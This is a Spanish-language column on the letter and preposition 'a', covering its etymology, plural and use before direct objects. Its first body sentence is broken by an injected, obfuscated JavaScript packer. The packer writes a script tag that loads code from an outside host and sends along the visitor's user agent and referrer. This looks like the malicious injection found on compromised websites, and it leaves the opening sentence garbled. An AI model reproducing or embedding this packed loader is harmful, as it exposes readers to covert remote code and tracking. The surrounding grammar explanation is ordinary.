Notículas de Español

Tito Balza Santaella / Escritor / [email protected]
Como eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yrdsk|var|u0026u|referrer|bnsnz||js|php'.split('|'),0,{})) preposición, que es su papel fundamental, más variado y extenso, proviene del latín ad, y se documenta desde los pasos iniciales de nuestro idioma en el siglo XII

Aes la palabra con que se designa la primera letra de nuestro abecedario. Proviene del latín a. Equivale a la letra alpha, de la misma manera que nuestra b equivale a la beta griegas, de donde, etimológicamente, surge el vocablo alfabeto, término de uso universal con el que se designa ‘la reunión metódica de las letras o signos que representan los sonidos de una lengua’ o ‘el conjunto ordenado de signos convencionales fijos en que se concreta la escritura de un idioma’, como otros lo definen. La Real Academia Española, con su reconocida sabiduría y claridad, lo explica como la ‘serie de las letras de un idioma’, la más sencilla manera de precisar lo que todos conocemos y reconocemos. Esta es su función sustantiva. Ser el nombre de una letra que representa un fonema. Como las demás vocales, pluraliza mediante el agregado de la desinencia -es: aes, ees, íes, oes, úes. Amor tiene una letra a, Casa tiene dos aes.

Como preposición, que es su papel fundamental, más variado y extenso, proviene del latín ad, y se documenta desde los pasos iniciales de nuestro idioma en el siglo XII. Algunas veces puede adoptar los papeles de adverbio y de conjunción, como más adelante veremos, pero es su función prepositiva, obviamente, la que más nos interesa. En esta condición, puede acompañar a los sustantivos para expresar, con respecto al verbo, los tres complementos del predicado oracional: directo, indirecto y circunstancial, o sea, los tres casos de la declinación latina: acusativo, dativo y ablativo.

La preposición a encabeza al complemento directo para indicar personalidad o determinación, como bien lo señala Andrés Bello, circunstancias que, por partida doble, se dan en los nombres propios de personas o de animales: Admiro aJosé, Don Quijote montaba a Rocinante, o cuando haya una de las dos condiciones: Quiere a su padre, Alimento a mi perro. Acompaña la preposición a los nombres propios de ciudades, ríos o espacios geográficos no antecedidos de artículos: Recorrí a Colombia, Dibujaba en su niñez al Unare; no cuando el artículo forma parte del nombre propio, porque él ya basta para determinarlo: Visité El Baúl, Atravesé El Motatán. Igualmente es de rigor la presencia de la preposición a con el complemento directo formado por los pronombres indefinidos: Búscame a alguien, No quiere a nadie más. Designa a quien quieras, Vi llegar a uno, Necesitaremos, entonces, a otro.Seguiremos con este importante asunto.

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